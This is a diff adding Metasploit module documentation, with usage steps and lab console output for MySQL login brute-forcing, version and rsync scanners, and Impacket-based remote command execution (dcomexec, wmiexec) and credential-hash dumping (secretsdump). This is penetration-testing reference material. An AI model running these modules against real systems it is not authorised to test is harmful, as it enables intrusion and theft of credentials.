||||
|
||||
```
|
||||
msf > use auxiliary/scanner/mysql/mysql_login
|
||||
msf auxiliary(mysql_login) > set PASS_FILE /tmp/passes.txt
|
||||
PASS_FILE => /tmp/passes.txt
|
||||
msf auxiliary(mysql_login) > set RHOSTS 192.168.1.200
|
||||
RHOSTS => 192.168.1.200
|
||||
msf auxiliary(mysql_login) > set USER_FILE /tmp/users.txt
|
||||
USER_FILE => /tmp/users.txt
|
||||
msf auxiliary(mysql_login) > run
|
||||
|
||||
[*] 192.168.1.200:3306 - Found remote MySQL version 5.0.51a
|
||||
[*] 192.168.1.200:3306 Trying username:'administrator' with password:''
|
||||
[*] 192.168.1.200:3306 failed to login as 'administrator' with password ''
|
||||
[*] 192.168.1.200:3306 Trying username:'admin' with password:''
|
||||
[*] 192.168.1.200:3306 failed to login as 'admin' with password ''
|
||||
[*] 192.168.1.200:3306 Trying username:'root' with password:''
|
||||
[*] 192.168.1.200:3306 failed to login as 'root' with password ''
|
||||
[*] 192.168.1.200:3306 Trying username:'god' with password:''
|
||||
[*] 192.168.1.200:3306 failed to login as 'god' with password ''
|
||||
[*] 192.168.1.200:3306 Trying username:'administrator' with password:'root'
|
||||
[*] 192.168.1.200:3306 failed to login as 'administrator' with password 'root'
|
||||
[*] 192.168.1.200:3306 Trying username:'administrator' with password:'admin'
|
||||
[*] 192.168.1.200:3306 failed to login as 'administrator' with password 'admin'
|
||||
[*] 192.168.1.200:3306 Trying username:'administrator' with password:'god'
|
||||
[*] 192.168.1.200:3306 failed to login as 'administrator' with password 'god'
|
||||
[*] 192.168.1.200:3306 Trying username:'administrator' with password:'s3cr3t'
|
||||
[*] 192.168.1.200:3306 failed to login as 'administrator' with password 's3cr3t'
|
||||
[*] 192.168.1.200:3306 Trying username:'admin' with password:'root'
|
||||
[*] 192.168.1.200:3306 failed to login as 'admin' with password 'root'
|
||||
[*] 192.168.1.200:3306 Trying username:'admin' with password:'admin'
|
||||
[*] 192.168.1.200:3306 failed to login as 'admin' with password 'admin'
|
||||
[*] 192.168.1.200:3306 Trying username:'admin' with password:'god'
|
||||
[*] 192.168.1.200:3306 failed to login as 'admin' with password 'god'
|
||||
[*] 192.168.1.200:3306 Trying username:'admin' with password:'s3cr3t'
|
||||
[*] 192.168.1.200:3306 failed to login as 'admin' with password 's3cr3t'
|
||||
[*] 192.168.1.200:3306 Trying username:'root' with password:'root'
|
||||
[+] 192.168.1.200:3306 - SUCCESSFUL LOGIN 'root' : 'root'
|
||||
[*] 192.168.1.200:3306 Trying username:'god' with password:'root'
|
||||
[*] 192.168.1.200:3306 failed to login as 'god' with password 'root'
|
||||
[*] 192.168.1.200:3306 Trying username:'god' with password:'admin'
|
||||
[*] 192.168.1.200:3306 failed to login as 'god' with password 'admin'
|
||||
[*] 192.168.1.200:3306 Trying username:'god' with password:'god'
|
||||
[*] 192.168.1.200:3306 failed to login as 'god' with password 'god'
|
||||
[*] 192.168.1.200:3306 Trying username:'god' with password:'s3cr3t'
|
||||
[*] 192.168.1.200:3306 failed to login as 'god' with password 's3cr3t'
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf auxiliary(mysql_login) >
|
||||
```
|
||||
@@ -0,0 +1,37 @@
|
||||
## Description
|
||||
|
||||
This module, as its name implies, scans a host or range of hosts to determine the version of MySQL that is running.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Do: ```use auxiliary/scanner/mysql/mysql_version```
|
||||
2. Do: ```set RHOSTS [IP]```
|
||||
3. Do: ```set THREADS [number of threads]```
|
||||
4. Do: ```run```
|
||||
|
||||
## Scenarios
|
||||
|
||||
```
|
||||
msf > use auxiliary/scanner/mysql/mysql_version
|
||||
msf auxiliary(mysql_version) > set RHOSTS 192.168.1.200-254
|
||||
RHOSTS => 192.168.1.200-254
|
||||
msf auxiliary(mysql_version) > set THREADS 20
|
||||
THREADS => 20
|
||||
msf auxiliary(mysql_version) > run
|
||||
|
||||
[*] 192.168.1.200:3306 is running MySQL 5.0.51a-3ubuntu5 (protocol 10)
|
||||
[*] 192.168.1.201:3306 is running MySQL, but responds with an error: \x04Host '192.168.1.101' is not allowed to connect to this MySQL server
|
||||
[*] Scanned 21 of 55 hosts (038% complete)
|
||||
[*] 192.168.1.203:3306 is running MySQL, but responds with an error: \x04Host '192.168.1.101' is not allowed to connect to this MySQL server
|
||||
[*] Scanned 22 of 55 hosts (040% complete)
|
||||
[*] Scanned 42 of 55 hosts (076% complete)
|
||||
[*] Scanned 44 of 55 hosts (080% complete)
|
||||
[*] Scanned 45 of 55 hosts (081% complete)
|
||||
[*] Scanned 48 of 55 hosts (087% complete)
|
||||
[*] Scanned 50 of 55 hosts (090% complete)
|
||||
[*] Scanned 51 of 55 hosts (092% complete)
|
||||
[*] Scanned 52 of 55 hosts (094% complete)
|
||||
[*] Scanned 55 of 55 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf auxiliary(mysql_version) >
|
||||
```
|
||||
@@ -0,0 +1,34 @@
|
||||
## Description
|
||||
|
||||
This module identifies the version of POP3 in use by the server based on the server's banner.
|
||||
Any POP3 sever should return this information.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
### Install Dovecot on Kali Linux:
|
||||
|
||||
With this install, we'll only install POP3 for dovecot, as the other protocols are not required. However, this is unrealistic
|
||||
in a production environment.
|
||||
|
||||
1. ```sudo apt-get install dovecot-pop3d```
|
||||
2. ```/etc/init.d/dovecot start```
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Do: `use auxiliary/scanner/pop3/pop3_version`
|
||||
2. Do: `set rhosts [ips]`
|
||||
3. Do: `run`
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Dovecot 2.3.2 (582970113) on Kali
|
||||
|
||||
```
|
||||
msf5 auxiliary(scanner/pop3/pop3_version) > use auxiliary/scanner/pop3/pop3_version
|
||||
msf5 auxiliary(scanner/pop3/pop3_version) > set rhosts 10.168.202.216
|
||||
msf5 auxiliary(scanner/pop3/pop3_version) > run
|
||||
|
||||
[+] 10.168.202.216:110 - 10.168.202.216:110 POP3 +OK Dovecot (Debian) ready.\x0d\x0a
|
||||
[*] 10.168.202.216:110 - Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
@@ -0,0 +1,118 @@
|
||||
## Description
|
||||
|
||||
An rsync module is essentially a directory share. These modules can optionally be protected by a password. This module connects to and
|
||||
negotiates with an rsync server, lists the available modules and, optionally, determines if the module requires a password to access.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
### Configuring rsync on Kali Linux:
|
||||
|
||||
Rsync is installed by default on Kali, however we need to configure some modules for the scanner to find. Step three will
|
||||
create the secrets files which we'll use to test the authentication mechanism. Much of this is based on the guide from
|
||||
[atlantic.net](https://www.atlantic.net/cloud-hosting/how-to-setup-rsync-daemon-linux-server/).
|
||||
|
||||
1. ```mkdir /home/public_rsync2; mkdir /home/public_rsync3; mkdir /home/public_rsync```
|
||||
2. Create the configuration file:
|
||||
|
||||
```
|
||||
echo -n "[read only files]
|
||||
path = /home/public_rsync
|
||||
comment = Files are read only
|
||||
read only = true
|
||||
timeout = 300
|
||||
|
||||
[writable]
|
||||
path = /home/public_rsync2
|
||||
comment = Files can be written to
|
||||
read only = false
|
||||
timeout = 300
|
||||
|
||||
[authenticated]
|
||||
path = /home/public_rsync3
|
||||
comment = Files require authentication
|
||||
read only = true
|
||||
timeout = 300
|
||||
auth users = rsync1,rsync2
|
||||
secrets file = /etc/rsyncd.secrets
|
||||
" > /etc/rsyncd.conf
|
||||
```
|
||||
|
||||
3. ```echo -n "rsync1:9$AZv2%5D29S740k
|
||||
rsync2:Xyb#vbfUQR0og0$6
|
||||
rsync3:VU&A1We5DEa8M6^8" > /etc/rsyncd.secrets```
|
||||
4. ```chmod 600 /etc/rsyncd.secrets```
|
||||
5. ```rsync --daemon```
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Do: `use auxiliary/scanner/rsync/modules_list`
|
||||
2. Do: `set rhosts [ips]`
|
||||
3. Do: `run`
|
||||
|
||||
## Options
|
||||
|
||||
**TEST_AUTHENTICATION**
|
||||
|
||||
Connect to each share and test if authentication is required.
|
||||
|
||||
**VERBOSE**
|
||||
|
||||
When set to `false`, each module will be listed. When set to `true` each module will be listed, then a summary
|
||||
table will also be printed including if authentication is required, and any module comments. `false` is the default value.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### rsyncd on Kali (using above config)
|
||||
|
||||
With verbose set to `false`:
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/scanner/rsync/modules_list
|
||||
msf5 auxiliary(scanner/rsync/modules_list) > set rhosts 10.168.202.216
|
||||
rhosts => 10.168.202.216
|
||||
msf5 auxiliary(scanner/rsync/modules_list) > run
|
||||
|
||||
[+] 10.168.202.216:873 - 3 rsync modules found: read only files, writable, authenticated
|
||||
```
|
||||
|
||||
With verbose set to `true`:
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/scanner/rsync/modules_list
|
||||
msf5 auxiliary(scanner/rsync/modules_list) > set rhosts 10.168.202.216
|
||||
rhosts => 10.168.202.216
|
||||
msf5 auxiliary(scanner/rsync/modules_list) > set verbose true
|
||||
verbose => true
|
||||
msf5 auxiliary(scanner/rsync/modules_list) > run
|
||||
|
||||
[+] 10.168.202.216:873 - 3 rsync modules found: read only files, writable, authenticated
|
||||
|
||||
rsync modules for 10.168.202.216:873
|
||||
=======================================
|
||||
|
||||
Name Comment Authentication
|
||||
---- ------- --------------
|
||||
authenticated Files require authentication required
|
||||
read only files Files are read only not required
|
||||
writable Files can be written to not required
|
||||
|
||||
```
|
||||
|
||||
## Confirming
|
||||
|
||||
### [nmap](https://nmap.org/nsedoc/scripts/rsync-list-modules.html)
|
||||
|
||||
```
|
||||
# nmap -p 873 -sV -script=rsync-list-modules 10.168.202.216
|
||||
Starting Nmap 7.70 ( https://nmap.org ) at 2018-07-12 16:32 EDT
|
||||
Nmap scan report for 10.168.202.216
|
||||
Host is up (0.000045s latency).
|
||||
|
||||
PORT STATE SERVICE VERSION
|
||||
873/tcp open rsync (protocol version 31)
|
||||
| rsync-list-modules:
|
||||
| read only files Files are read only
|
||||
| writable Files can be written to
|
||||
|_ authenticated Files require authentication
|
||||
|
||||
```
|
||||
@@ -0,0 +1,105 @@
|
||||
## Description
|
||||
|
||||
A similar approach to psexec but executing commands through DCOM.
|
||||
You can select different objects to be used to execute the commands.
|
||||
Currently supported objects are:
|
||||
|
||||
1. MMC20.Application (`49B2791A-B1AE-4C90-9B8E-E860BA07F889`)
|
||||
- Tested Windows 7, Windows 10, Server 2012R2
|
||||
1. ShellWindows (`9BA05972-F6A8-11CF-A442-00A0C90A8F39`)
|
||||
- Tested Windows 7, Windows 10, Server 2012R2
|
||||
1. ShellBrowserWindow (`C08AFD90-F2A1-11D1-8455-00A0C91F3880`)
|
||||
- Tested Windows 10, Server 2012R2
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install [Impacket][1] v0.9.17 from GitHub. The `impacket` package must be in
|
||||
Python's module path, so `import impacket` works from any directory.
|
||||
1. Install [pycrypto][2] v2.7 (the experimental release). Impacket requires this
|
||||
specific version.
|
||||
1. Start msfconsole
|
||||
1. Do: `use auxiliary/scanner/smb/impacket/dcomexec`
|
||||
1. Set: `COMMAND`, `RHOSTS`, `SMBUser`, `SMBPass`
|
||||
1. Do: `run`, see the command result (if `OUTPUT` is enabled)
|
||||
|
||||
## Options
|
||||
|
||||
**OUTPUT**
|
||||
|
||||
When the `OUTPUT` option is enabled, the result of the command will be written
|
||||
to a temporary file on the remote host and then retrieved. This allows the
|
||||
module user to view the output but also causes it to be written to disk before
|
||||
it is retrieved and deleted.
|
||||
|
||||
## Scenario
|
||||
|
||||
```
|
||||
metasploit-framework (S:0 J:1) auxiliary(scanner/smb/impacket/dcomexec) > show options
|
||||
|
||||
Module options (auxiliary/scanner/smb/impacket/dcomexec):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
COMMAND ipconfig yes The command to execute
|
||||
OBJECT MMC20 yes The DCOM object to use for execution (Accepted: ShellWindows, ShellBrowserWindow, MMC20)
|
||||
OUTPUT true yes Get the output of the executed command
|
||||
RHOSTS 192.168.90.11 yes The target address range or CIDR identifier
|
||||
SMBDomain . no The Windows domain to use for authentication
|
||||
SMBPass wakawaka yes The password for the specified username
|
||||
SMBUser spencer yes The username to authenticate as
|
||||
THREADS 1 yes The number of concurrent threads
|
||||
|
||||
metasploit-framework (S:0 J:1) auxiliary(scanner/smb/impacket/dcomexec) > run
|
||||
|
||||
[*] [2018.04.04-17:07:51] Running for 192.168.90.11...
|
||||
[*] [2018.04.04-17:07:51] 192.168.90.11 - SMBv3.0 dialect used
|
||||
[*] [2018.04.04-17:07:51] 192.168.90.11 - Target system is 192.168.90.11 and isFDQN is False
|
||||
[*] [2018.04.04-17:07:51] 192.168.90.11 - StringBinding: Windows8VM[55339]
|
||||
[*] [2018.04.04-17:07:51] 192.168.90.11 - StringBinding: 10.0.3.15[55339]
|
||||
[*] [2018.04.04-17:07:51] 192.168.90.11 - StringBinding: 192.168.90.11[55339]
|
||||
[*] [2018.04.04-17:07:51] 192.168.90.11 - StringBinding chosen: ncacn_ip_tcp:192.168.90.11[55339]
|
||||
[*] [2018.04.04-17:07:52]
|
||||
Windows IP Configuration
|
||||
|
||||
|
||||
Ethernet adapter Ethernet 5:
|
||||
|
||||
Connection-specific DNS Suffix . : foo.lan
|
||||
Link-local IPv6 Address . . . . . : fe80::9ceb:820e:7c6b:def9%17
|
||||
IPv4 Address. . . . . . . . . . . : 10.0.3.15
|
||||
Subnet Mask . . . . . . . . . . . : 255.255.255.0
|
||||
Default Gateway . . . . . . . . . : 10.0.3.2
|
||||
|
||||
Ethernet adapter Local Area Connection:
|
||||
|
||||
Media State . . . . . . . . . . . : Media disconnected
|
||||
Connection-specific DNS Suffix . :
|
||||
|
||||
Ethernet adapter Ethernet 3:
|
||||
|
||||
Media State . . . . . . . . . . . : Media disconnected
|
||||
Connection-specific DNS Suffix . :
|
||||
|
||||
Ethernet adapter Ethernet 4:
|
||||
|
||||
Connection-specific DNS Suffix . :
|
||||
IPv4 Address. . . . . . . . . . . : 192.168.90.11
|
||||
Subnet Mask . . . . . . . . . . . : 255.255.255.0
|
||||
Default Gateway . . . . . . . . . :
|
||||
|
||||
Tunnel adapter isatap.foo.lan:
|
||||
|
||||
Media State . . . . . . . . . . . : Media disconnected
|
||||
Connection-specific DNS Suffix . : foo.lan
|
||||
|
||||
Tunnel adapter isatap.{70FE2ED7-E141-40A9-9CAF-E8556F6A4E80}:
|
||||
|
||||
Media State . . . . . . . . . . . : Media disconnected
|
||||
Connection-specific DNS Suffix . :
|
||||
|
||||
[*] [2018.04.04-17:07:52] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
[1]: https://github.com/CoreSecurity/impacket
|
||||
[2]: https://www.dlitz.net/software/pycrypto/
|
||||
@@ -0,0 +1,48 @@
|
||||
## Verification Steps
|
||||
|
||||
1. Install [Impacket][1] v0.9.17 from GitHub. The `impacket` package must be in
|
||||
Python's module path, so `import impacket` works from any directory.
|
||||
1. Install [pycrypto][2] v2.7 (the experimental release). Impacket requires this
|
||||
specific version.
|
||||
1. Start msfconsole
|
||||
1. Do: `use auxiliary/scanner/smb/impacket/secretsdump`
|
||||
1. Set: `RHOSTS`, `SMBUser`, `SMBPass`
|
||||
1. Do: `run`, see hashes from the remote machine
|
||||
|
||||
## Scenario
|
||||
|
||||
```
|
||||
metasploit-framework (S:0 J:1) auxiliary(scanner/smb/impacket/secretsdump) > show options
|
||||
|
||||
Module options (auxiliary/scanner/smb/impacket/secretsdump):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
ExecMethod smbexec yes The method to use for execution (Accepted: smbexec, wmiexec, mmcexec)
|
||||
OutputFile no Write the results to a file
|
||||
RHOSTS 192.168.90.11 yes The target address range or CIDR identifier
|
||||
SMBDomain . no The Windows domain to use for authentication
|
||||
SMBPass wakawaka yes The password for the specified username
|
||||
SMBUser spencer yes The username to authenticate as
|
||||
THREADS 1 yes The number of concurrent threads
|
||||
|
||||
metasploit-framework (S:0 J:1) auxiliary(scanner/smb/impacket/secretsdump) > run
|
||||
|
||||
[*] [2018.04.04-17:15:45] Running for 192.168.90.11...
|
||||
[*] [2018.04.04-17:15:45] 192.168.90.11 - Service RemoteRegistry is in stopped state
|
||||
[*] [2018.04.04-17:15:45] 192.168.90.11 - Service RemoteRegistry is disabled, enabling it
|
||||
[*] [2018.04.04-17:15:45] 192.168.90.11 - Starting service RemoteRegistry
|
||||
[*] [2018.04.04-17:15:46] 192.168.90.11 - Retrieving class info for JD
|
||||
[*] [2018.04.04-17:15:46] 192.168.90.11 - Retrieving class info for Skew1
|
||||
[*] [2018.04.04-17:15:46] 192.168.90.11 - Retrieving class info for GBG
|
||||
[*] [2018.04.04-17:15:46] 192.168.90.11 - Retrieving class info for Data
|
||||
[REDACTED]
|
||||
[*] [2018.04.04-17:15:48] 192.168.90.11 - Cleaning up...
|
||||
[*] [2018.04.04-17:15:48] 192.168.90.11 - Stopping service RemoteRegistry
|
||||
[*] [2018.04.04-17:15:48] 192.168.90.11 - Restoring the disabled state for service RemoteRegistry
|
||||
[*] [2018.04.04-17:15:48] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
[1]: https://github.com/CoreSecurity/impacket
|
||||
[2]: https://www.dlitz.net/software/pycrypto/
|
||||
@@ -0,0 +1,92 @@
|
||||
## Verification Steps
|
||||
|
||||
1. Install [Impacket][1] v0.9.17 from GitHub. The `impacket` package must be in
|
||||
Python's module path, so `import impacket` works from any directory.
|
||||
1. Install [pycrypto][2] v2.7 (the experimental release). Impacket requires this
|
||||
specific version.
|
||||
1. Start msfconsole
|
||||
1. Do: `use auxiliary/scanner/smb/impacket/wmiexec`
|
||||
1. Set: `COMMAND`, `RHOSTS`, `SMBUser`, `SMBPass`
|
||||
1. Do: `run`, see the command result (if `OUTPUT` is enabled)
|
||||
|
||||
## Options
|
||||
|
||||
**OUTPUT**
|
||||
|
||||
When the `OUTPUT` option is enabled, the result of the command will be written
|
||||
to a temporary file on the remote host and then retrieved. This allows the
|
||||
module user to view the output but also causes it to be written to disk before
|
||||
it is retrieved and deleted.
|
||||
|
||||
## Scenario
|
||||
|
||||
```
|
||||
metasploit-framework (S:0 J:1) auxiliary(scanner/smb/impacket/wmiexec) > show options
|
||||
|
||||
Module options (auxiliary/scanner/smb/impacket/wmiexec):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
COMMAND ipconfig yes The command to execute
|
||||
OUTPUT true yes Get the output of the executed command
|
||||
RHOSTS 192.168.90.11 yes The target address range or CIDR identifier
|
||||
SMBDomain . no The Windows domain to use for authentication
|
||||
SMBPass wakawaka yes The password for the specified username
|
||||
SMBUser spencer yes The username to authenticate as
|
||||
THREADS 1 yes The number of concurrent threads
|
||||
|
||||
metasploit-framework (S:0 J:1) auxiliary(scanner/smb/impacket/wmiexec) > run
|
||||
|
||||
[*] [2018.04.04-17:10:47] Running for 192.168.90.11...
|
||||
[*] [2018.04.04-17:10:47] 192.168.90.11 - SMBv3.0 dialect used
|
||||
[*] [2018.04.04-17:10:47] 192.168.90.11 - Target system is 192.168.90.11 and isFDQN is False
|
||||
[*] [2018.04.04-17:10:47] 192.168.90.11 - StringBinding: \\\\WINDOWS8VM[\\PIPE\\atsvc]
|
||||
[*] [2018.04.04-17:10:47] 192.168.90.11 - StringBinding: Windows8VM[49154]
|
||||
[*] [2018.04.04-17:10:47] 192.168.90.11 - StringBinding: 10.0.3.15[49154]
|
||||
[*] [2018.04.04-17:10:47] 192.168.90.11 - StringBinding: 192.168.90.11[49154]
|
||||
[*] [2018.04.04-17:10:47] 192.168.90.11 - StringBinding chosen: ncacn_ip_tcp:192.168.90.11[49154]
|
||||
[*] [2018.04.04-17:10:49]
|
||||
Windows IP Configuration
|
||||
|
||||
|
||||
Ethernet adapter Ethernet 5:
|
||||
|
||||
Connection-specific DNS Suffix . : foo.lan
|
||||
Link-local IPv6 Address . . . . . : fe80::9ceb:820e:7c6b:def9%17
|
||||
IPv4 Address. . . . . . . . . . . : 10.0.3.15
|
||||
Subnet Mask . . . . . . . . . . . : 255.255.255.0
|
||||
Default Gateway . . . . . . . . . : 10.0.3.2
|
||||
|
||||
Ethernet adapter Local Area Connection:
|
||||
|
||||
Media State . . . . . . . . . . . : Media disconnected
|
||||
Connection-specific DNS Suffix . :
|
||||
|
||||
Ethernet adapter Ethernet 3:
|
||||
|
||||
Media State . . . . . . . . . . . : Media disconnected
|
||||
Connection-specific DNS Suffix . :
|
||||
|
||||
Ethernet adapter Ethernet 4:
|
||||
|
||||
Connection-specific DNS Suffix . :
|
||||
IPv4 Address. . . . . . . . . . . : 192.168.90.11
|
||||
Subnet Mask . . . . . . . . . . . : 255.255.255.0
|
||||
Default Gateway . . . . . . . . . :
|
||||
|
||||
Tunnel adapter isatap.foo.lan:
|
||||
|
||||
Media State . . . . . . . . . . . : Media disconnected
|
||||
Connection-specific DNS Suffix . : foo.lan
|
||||
|
||||
Tunnel adapter isatap.{70FE2ED7-E141-40A9-9CAF-E8556F6A4E80}:
|
||||
|
||||
Media State . . . . . . . . . . . : Media disconnected
|
||||
Connection-specific DNS Suffix . :
|
||||
|
||||
[*] [2018.04.04-17:10:49] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
[1]: https://github.com/CoreSecurity/impacket
|
||||
[2]: https://www.dlitz.net/software/pycrypto/
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user